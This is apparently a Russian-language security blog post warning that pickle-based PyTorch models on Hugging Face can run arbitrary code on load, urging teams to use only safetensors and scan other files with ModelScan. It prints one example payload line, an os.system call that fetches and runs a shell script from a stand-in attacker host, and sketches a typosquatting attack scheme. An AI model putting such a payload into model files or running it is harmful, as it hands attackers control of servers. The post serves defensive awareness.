Добавить в корзинуПозвонить
Найти в Дзене

☄️ Вас подставили ваши ML инженеры: Supply Сhain атака через модели в Hugging Face

Если ваши сотрудники просто скачивают и запускают ИИ-модели из интернета, то для безопасности компании это абсолютно то же самое, как если бы они кликали по случайным .exe файлам из сомнительных пиратских апдейтов. Когда дата-сайентист загружает модель с Hugging Face в старом формате PyTorch, он, сам того не зная, выполняет на вашем сервере произвольный код, написанный автором этого файла. Hugging Face — платформа, где разработчики публикуют модели машинного обучения. Что-то вроде GitHub, только для AI. Зашёл, выбрал, скачал. Как устроен взлом Классический формат сохранения моделей PyTorch завязан на библиотеку pickle. Но pickle сохраняет не просто чистые данные (числа и веса нейросети). Он работает как автоматический упаковщик: внутри файла создается пошаговая инструкция, как эти данные восстанавливать. Хакеры научились подмешивать в эти инструкции свои скрытые команды через специальный метод __reduce__. Программа torch.load слепо верит файлу: она начинает его «распаковывать» и а

☄️ Вас подставили ваши ML инженеры: Supply Сhain атака через модели в Hugging Face

Если ваши сотрудники просто скачивают и запускают ИИ-модели из интернета, то для безопасности компании это абсолютно то же самое, как если бы они кликали по случайным .exe файлам из сомнительных пиратских апдейтов.

Когда дата-сайентист загружает модель с Hugging Face в старом формате PyTorch, он, сам того не зная, выполняет на вашем сервере произвольный код, написанный автором этого файла.

Hugging Face — платформа, где разработчики публикуют модели машинного обучения. Что-то вроде GitHub, только для AI. Зашёл, выбрал, скачал.

Как устроен взлом

Классический формат сохранения моделей PyTorch завязан на библиотеку pickle. Но pickle сохраняет не просто чистые данные (числа и веса нейросети). Он работает как автоматический упаковщик: внутри файла создается пошаговая инструкция, как эти данные восстанавливать.

Хакеры научились подмешивать в эти инструкции свои скрытые команды через специальный метод __reduce__. Программа torch.load слепо верит файлу: она начинает его «распаковывать» и автоматически, без каких-либо предупреждений, выполняет зашитый туда вредоносный код.

Внутри файла зашит не текстовый скрипт, а прямая команда. При загрузке модели Python видит инструкцию и принудительно вызывает системный метод:

import os

os.system("curl http://attacker.com/backdoor.sh | bash")

Вы думали, что просто импортируете нейросеть для тестов, а ваш сервер в этот же момент выполнил скрытый шелл-скрипт и отдал управление хакеру.

Это не теория, а живые кейсы

Эксперты из Trail of Bits взяли специальный сканер Fickling и проверили Hugging Face. Они нашли там реальные, живые модели с вредоносными pickle-пейлоадами.

Схема атаки примитивная, но рабочая:

1) Хакер берёт популярную модель.

2) Добавляет скрытый вызов с бэкдором в pickle-файл.

3) Публикует её на Hugging Face под похожим или привлекательным именем.

4) Разработчик ищет официальную llama-3-instruct, натыкается на условную llama-3-instruct-v2-finetuned, скачивает, запускает — и злоумышленник мгновенно получает доступ к вашему серверу (через reverse shell).

Разница между exec() и memcpy()

По уровню безопасности разница между torch.load на старом pickle-файле и загрузкой современного формата safetensors точно такая же, как между функциями exec() (выполнить код) и memcpy() (просто скопировать данные в память).

Safetensors — это формат, который хранит исключительно тензоры. Это аналог обычной таблицы: там лежат только чистые цифры, в которых физически невозможно спрятать или запустить исполняемый код. Хакеру там просто негде скрыться.

Одна строчка в ИБ-политику команды

Чтобы на корню закрыть этот вектор supply chain атак, внедрите жесткое правило:

скачивать только .safetensors.

Никаких .pt, .pth и .pkl.

Отдельный нюанс с расширением .bin. В экосистеме llama.cpp и GGUF файлы .bin — это обычно сырые безопасные веса. Но файл pytorch_model.bin в экосистеме Hugging Face Transformers — это тот же самый опасный pickle, просто замаскированный под другим расширением. Его трогать без проверки нельзя.

Если бинарный файл вашей команде жизненно необходим, он обязан сначала пройти через ModelScan. Эта утилита умеет «читать» инструкции внутри файла без их фактического запуска и ищет вызовы опасных системных модулей вроде os или subprocess. Она не вылечит файл, но гарантированно перехватит пейлоад до того, как вы успеете нажать Enter.

Жду вас в комментариях. Ставьте 🔥, если пост был полезен.

👉 Зарегистрироваться на вебинар и защитить свои данные

Денис Батранков в LinkedIn, Youtube, RuTube и MAX

#ИИ #Кибербезопасность